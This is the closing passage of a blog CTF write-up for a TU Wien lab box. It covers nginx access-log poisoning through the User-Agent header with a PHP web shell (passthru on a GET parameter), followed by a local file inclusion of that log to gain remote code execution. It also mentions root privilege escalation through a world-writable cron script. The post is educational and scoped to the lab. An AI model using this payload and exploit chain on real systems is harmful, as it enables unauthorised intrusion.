</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/$vhost.access.log
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/$vhost.error.log
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/ssl-$vhost.access.log
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/ssl-$vhost.error.log
</span></span></span><span style=display:flex><span><span style=color:#75715e>--&gt;</span>
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn&rsquo;t say &ldquo;don&rsquo;t use SSL&rdquo; — but the intended trick is to use the <strong>non-ssl</strong> access log.</p><h3 id=intended-technique>Intended technique<a hidden class=anchor aria-hidden=true href=#intended-technique>#</a></h3><ol><li><p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span></code></pre></div></li><li><p>Put PHP in the <code>User-Agent</code> (or another logged field):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;
</span></span></code></pre></div><p>Short tags like <code>&lt;?=`id`?></code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p></li><li><p><strong>Include that log</strong> through the same LFI bug:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>https://web.g00.tuw.measurement.network/
</span></span><span style=display:flex><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span><span style=display:flex><span> &amp;cmd=id
</span></span></code></pre></div></li></ol><p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That&rsquo;s RCE. No pwreset required.</p><h3 id=how-i-griefed-myself>How I griefed myself<a hidden class=anchor aria-hidden=true href=#how-i-griefed-myself>#</a></h3><table><thead><tr><th>What I did</th><th>Why it hurt</th></tr></thead><tbody><tr><td>Defaulted to <code>https://</code> everywhere</td><td>Poison landed in <code>ssl-web...access.log</code><strong>670 KB+</strong> and growing</td></tr><tr><td>Included the ssl log via LFI</td><td>Output truncates around ~2 KB; poison sits at the tail</td></tr><tr><td>Fired dozens of test payloads</td><td>Left broken <code>&lt;?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td></tr><tr><td>Didn&rsquo;t read <code>index.php</code> source early</td><td>Missed the debug comment until I&rsquo;d already polluted both logs</td></tr></tbody></table><p>Tobias&rsquo;s take: that&rsquo;s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p><h3 id=if-youre-solving-it-now>If you&rsquo;re solving it now<a hidden class=anchor aria-hidden=true href=#if-youre-solving-it-now>#</a></h3><ul><li>Read <code>index.php</code> source first.</li><li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li><li>Include the <strong>non-ssl</strong> access log path from the comment.</li><li>Don&rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li></ul><p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p><hr><h2 id=12-tldr>12) TL;DR<a hidden class=anchor aria-hidden=true href=#12-tldr>#</a></h2><ul><li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li><li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li><li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li><li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li><li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li><li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li><li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li></ul><p>If you&rsquo;re doing this as part of the TU Wien lab: don&rsquo;t touch other groups&rsquo; hosts, don&rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.</p><p>Happy hacking. 🔓</p><hr><p><em>Thanks to Tobias Fiebig for the delightfully cursed &ldquo;real world&rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p><hr><div class=signature-block style=margin-top:1rem><p><strong>Downloads:</strong>
<a href=/sources/posts/g00_tuw_measurement_ctf.md>Markdown</a> ·
<a href=/sources/posts/g00_tuw_measurement_ctf.md.asc>Signature (.asc)</a></p><details class=signature><summary>View OpenPGP signature</summary><pre style=font-size:.85em;overflow-x:auto;padding:.75rem>-----BEGIN PGP SIGNATURE-----
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSr&#43;7xAAjpbfTK8k&#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy&#43;fTISF9Q&#43;hRfMX
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v&#43;drZ2YVGk9mKW4FBfzbb1
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
35YFa3A1GMUiKAHcemIqJnDZuIInQa&#43;OuPIDPGQva93I20eIn40nIVDLDsY15X&#43;R
FyxKVBAwO94We2g&#43;lxhey&#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
oLsZXNoKbyZ2eXYF0f54it9JdDo&#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV&#43;
zNn5DrhIk5f4FMjJGUnO1QH&#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b&#43;
//J/Fdzi1YbKFyQlk9zfUUL&#43;1vMoSbkORd7S3JYkibTns&#43;uD9LxW27WIEcvYRw0K
MlzdYdPXNCJZUDswt7HZCgQv66zF9&#43;pLkQ/8rl&#43;RVOMW9GqJmE6O0uh4xmPDE8vS
YK3/9gFIcXVMy7WsIwEx&#43;xWQqcm815OZSIrw4kvt1&#43;seZ8lUURmoAWRDEFrFUTCG
zB6tKRPKoID643AdO&#43;Cb&#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
=BDGe
-----END PGP SIGNATURE-----
</pre></details><p><em>Verify locally:</em></p><pre style=font-size:.85em;overflow-x:auto;padding:.75rem>curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
</pre></div></div><footer class=post-footer><ul class=post-tags><li><a href=https://blog.alipour.eu/tags/ctf/>Ctf</a></li><li><a href=https://blog.alipour.eu/tags/tuwien/>Tuwien</a></li><li><a href=https://blog.alipour.eu/tags/lfi/>Lfi</a></li><li><a href=https://blog.alipour.eu/tags/web/>Web</a></li><li><a href=https://blog.alipour.eu/tags/linux/>Linux</a></li><li><a href=https://blog.alipour.eu/tags/nginx/>Nginx</a></li><li><a href=https://blog.alipour.eu/tags/php/>Php</a></li><li><a href=https://blog.alipour.eu/tags/privesc/>Privesc</a></li></ul><nav class=paginav><a class=prev href=https://blog.alipour.eu/phd_journey/june_2026/><span class=title>« Prev</span><br><span>June 2026</span>
</a><a class=next href=https://blog.alipour.eu/phd_journey/april_2026/><span class=title>Next »</span><br><span>April '26</span></a></nav></footer><div class=comments-switch style="display:flex;gap:.5rem;margin:.5rem 0 1rem"><button id=btn-isso type=button aria-pressed=true>Anonymous (Isso)</button>
<button id=btn-giscus type=button aria-pressed=false>GitHub (Giscus)</button>
<a href=https://github.com/AlipourIm/blog-comments/discussions/categories/comments target=_blank rel=noopener>Open on GitHub ↗</a></div><div id=panel-giscus style=display:none><section id=giscus-thread></section></div><div id=panel-isso><section id=isso-thread data-isso-id=/posts/g00_tuw_measurement_ctf/ data-title="A TU Wien CTF where Sysops Klaus left the keys in the cron job"><noscript>Javascript needs to be activated to view comments.</noscript></section><script src=/isso/js/embed.min.js data-isso=/isso/ data-isso-css=false data-isso-lang=en data-isso-max-comments-nested=5 data-isso-sorting=newest async></script><small class=isso-powered style="display:block;margin:.5rem 0;color:var(--secondary,#888)">Comments powered by <a href=https://isso-comments.de target=_blank rel=noopener>Isso</a></small></div><script>(function(){var i=document.getElementById("panel-isso"),a=document.getElementById("panel-giscus"),e=document.getElementById("btn-isso"),t=document.getElementById("btn-giscus"),s=!1;function r(){if(n=localStorage.getItem("pref-theme"),n==="dark")return!0;if(n==="light")return!1;var n,e=document.documentElement,t=document.body;return!!(e.classList&&e.classList.contains("dark")||t.classList&&t.classList.contains("dark")||e.getAttribute("data-theme")==="dark"||t.getAttribute("data-theme")==="dark"||e.classList&&e.classList.contains("theme-dark")||t.classList&&t.classList.contains("theme-dark"))||window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}function o(){return r()?"dark_dimmed":"noborder_light"}function c(){if(s)return;var t,n,e=document.createElement("script");e.src="https://giscus.app/client.js",e.async=!0,e.crossOrigin="anonymous",e.setAttribute("data-repo","AlipourIm/blog-comments"),e.setAttribute("data-repo-id","R_kgDOQGARyA"),e.setAttribute("data-category","Comments"),e.setAttribute("data-category-id","DIC_kwDOQGARyM4Cw3x-"),e.setAttribute("data-mapping","pathname"),e.setAttribute("data-strict","0"),e.setAttribute("data-reactions-enabled","1"),e.setAttribute("data-emit-metadata","0"),e.setAttribute("data-input-position","bottom"),e.setAttribute("data-lang","en"),e.setAttribute("data-theme",o()),document.getElementById("giscus-thread").appendChild(e);function i(){var e=document.querySelector("iframe.giscus-frame");e&&e.contentWindow&&e.contentWindow.postMessage({giscus:{setConfig:{theme:o()}}},"https://giscus.app")}t=document.getElementById("theme-toggle"),t&&t.addEventListener("click",function(){setTimeout(i,0)}),n=new MutationObserver(function(){i()}),n.observe(document.documentElement,{attributes:!0,attributeFilter:["class","data-theme"]}),n.observe(document.body,{attributes:!0,attributeFilter:["class","data-theme"]}),s=!0}function n(n){var s=n==="isso";i.style.display=s?"block":"none",a.style.display=s?"none":"block",e&&e.setAttribute("aria-pressed",s?"true":"false"),t&&t.setAttribute("aria-pressed",s?"false":"true"),s||c()}e&&e.addEventListener("click",function(e){e.preventDefault(),n("isso")}),t&&t.addEventListener("click",function(e){e.preventDefault(),n("giscus")}),n("isso")})()</script></article></main><footer class=footer><span>&copy; 2026 <a href=https://blog.alipour.eu/>AlipourIm journeys</a></span> ·
<span>Powered by
<a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
<a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><div class=site-meta-row style=display:flex;align-items:center;gap:.75rem;flex-wrap:wrap><a href=/index.xml rel=alternate type=application/rss+xml title=RSS class=rss-link style=display:inline-flex;align-items:center;gap:.35rem><svg viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 11a9 9 0 019 9"/><path d="M4 4a16 16 0 0116 16"/><circle cx="5" cy="19" r="1"/></svg>
<span>RSS</span>
</a><span aria-hidden=true>·</span>
<span>Visitors this week: <span id=gc_site_visitors_week></span></span></div><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>